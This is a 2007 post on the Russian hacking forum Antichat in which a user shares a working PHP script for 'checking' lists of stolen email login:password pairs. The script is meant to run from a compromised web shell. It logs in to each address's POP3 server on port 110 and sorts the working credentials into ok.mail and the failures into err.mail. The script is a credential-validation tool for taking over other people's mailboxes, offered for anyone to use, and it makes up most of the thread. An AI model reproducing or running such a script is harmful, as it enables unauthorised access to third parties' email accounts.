ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > E-Mail
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Программа для чеканья мыл
  #1  
Старый 17.07.2007, 21:35
Аватар для Shram-spb
Shram-spb
Познающий
Регистрация: 06.06.2007
Сообщений: 83
Провел на форуме:
404154

Репутация: 140
Отправить сообщение для Shram-spb с помощью ICQ
По умолчанию Программа для чеканья мыл

Люди подскажите.. есть список мыл вида
loginass
Нужно прочекать их на валидность..
Есть ли какая-нить программа для этих целей?
в принцыпе я писал скрипт.. это не сложно.. просто случайно стер его и впадлу заново писать )


Добавлено через день :
Вот.. написал скрипт заново.. юзайте наздоровье..
На входе mail.txt на выходе ok.mail и err.mail
PHP код:
//////////////////////////////////////////////////////////
//                            //
//    Скрипт для чеканья мыла на валидность!        //  
//    Заливаем на Shell скрипт и файл mail.txt     //
//    Формат mail.txt  mail@host.ex:password        //
//      Чекает только мыла, у которых pop3 сервер    //
//    располжен на pop.host.ex:110            //
//      На выходе создаются 2 файла:            //
//         ok.mail и err.mail             //
//                Created by 5hr4M...    //
//                            //
//////////////////////////////////////////////////////////
<?php
error_reporting
(0);
$in=fopen("mail.txt","r");
if(!
$in) {
    echo 
"mail.txt not found...<br>";
    exit();
  }
  while(!
feof($in)) 
   {    
    
$host='';
     
$str='';
    
$user='';
    
$pass='';
    
$str=fgets($in,128);
        
$pos[1]=strpos($str,'@'); 
    
$pos[2]=strpos($str,':');
        
$host='pop.'.substr($str,$pos[1]+1,$pos[2]-$pos[1]-1);
    
$pos[3]=strpos($host,' ');
        if (
$pos[3]) $host=substr($host,0,$pos[3]);
        
$user=substr($str,0,$pos[1]);
        
$pass=substr($str,$pos[2]+1);
       
connect ($host,$user,$pass); 
   }
echo 
"End<br>";
fclose($in); 

function 
connect($host,$user,$pass){
$fp fsockopen($host110, &$errno, &$errstr30);
fputs($fp,"USER $user\n");
$resp=fgets($fp,1024);
 if (
$resp[0]=='+')
     {
        
fputs($fp,"PASS $pass\n");
        
$resp=fgets($fp,1024);
         if (
$resp[0]=='+')
                 {
                @
$out=fopen("ok.mail","a");
                  
$mg=$user '@' substr($host,4). ':' $pass;
                  echo 
$mg.'<br>';
                @
fputs($out,$mg);
                @
fclose($out);
                 }else
                {
        
//        echo 'Pass failure';
                
@$out=fopen("err.mail","a");
                  
$mg=$user '@' substr($host,4). ':' $pass;
                  @
fputs($out,$mg);
                @
fclose($out);
                }

     }else
    {
        
//echo 'User failure';
                
@$out=fopen("err.mail","a");
                  
$mg=$user '@' substr($host,4). ':' $pass;
                  @
fputs($out,$mg);
                @
fclose($out);
    }
 
fputs($fp,"QUIT\n");
 
$resp=fgets($fp,1024);
fclose($fp);
}
?>

Последний раз редактировалось Shram-spb; 18.07.2007 в 21:43..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Windows: Cmd.exe Ch3ck Чужие Статьи 6 17.10.2007 12:59
ОБЗОР РАЗЛИЧНЫХ ИНТЕРНЕТ БРАУЗЕРОВ Y.Dmitriy Soft - Windows 1 12.04.2007 23:30
обзор програм для qip BlackCats Soft - Windows 9 31.03.2007 21:46
ОТЛИЧНАЯ СТАТЬЯ - "Как заметать следы" foreva Чужие Статьи 8 07.02.2005 12:44



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ